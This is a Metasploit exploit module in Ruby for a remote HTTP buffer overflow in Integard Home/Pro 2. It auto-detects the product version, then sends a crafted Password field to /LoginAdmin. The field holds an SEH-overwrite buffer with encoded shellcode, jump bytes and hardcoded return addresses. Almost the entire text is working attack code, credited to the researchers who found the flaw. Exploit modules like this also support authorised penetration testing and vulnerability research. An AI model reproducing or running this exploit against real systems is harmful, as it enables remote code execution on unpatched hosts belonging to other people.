Integard Home and Pro 2 – Remote HTTP Buffer Overflow
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Integard Home/Pro version 2.0', 'Description' => %q{ Exploit for Integard HTTP Server, vulnerability discovered by Lincoln }, 'Author' => [ 'Lincoln', 'Nullthreat', 'rick2600', 'corelanc0d3r' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ ['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00\x20\x26\x2f\x3d\x3f\x5c", 'StackAdjustment' => -1500, }, 'Platform' => 'win', 'Privileged' => false, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true }], [ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}], [ 'Integard Pro 2.2.0.9026', { 'Ret' => 0x0040362C,}], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(18881) ], self.class ) end def exploit mytarget = target continueattack=true if(target['auto']) mytarget = nil print_status("[*] Automatically detecting the target...") connect response = send_request_raw( {'uri' => '/banner.jpg', 'version' => '1.1', 'method' => 'GET' }, 5) contlength = response['Content-Length'] if (contlength == "24584") print_status("[!] Found Version - Integard Home") mytarget = self.targets[1] elsif (contlength == "23196") print_status("[!] Found Version - Integard Pro") mytarget = self.targets[2] else print_status("[-] Unknown Version") continueattack=false end disconnect end if continueattack print_status("[!] Selected Target: #{mytarget.name}") print_status("[*] Building Buffer") pay = payload.encoded junk = rand_text_alpha_upper(3091 - pay.length) jmp = "\xE9\x2B\xF8\xFF\xFF" nseh = "\xEB\xF9\x90\x90" seh = [mytarget.ret].pack('V') buffer = junk + pay + jmp + nseh + seh print_status("[*] Sending Request") post_data = "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login" req = "/LoginAdmin" connect send_request_raw({ 'uri' => req, 'version' => '1.1', 'method' => 'POST', 'headers' => { 'Host' => '192.168.1.1:18881', 'Content-Length' => 1074 }, 'data' => post_data }, 5) print_status("[*] Request Sent") handler end end end |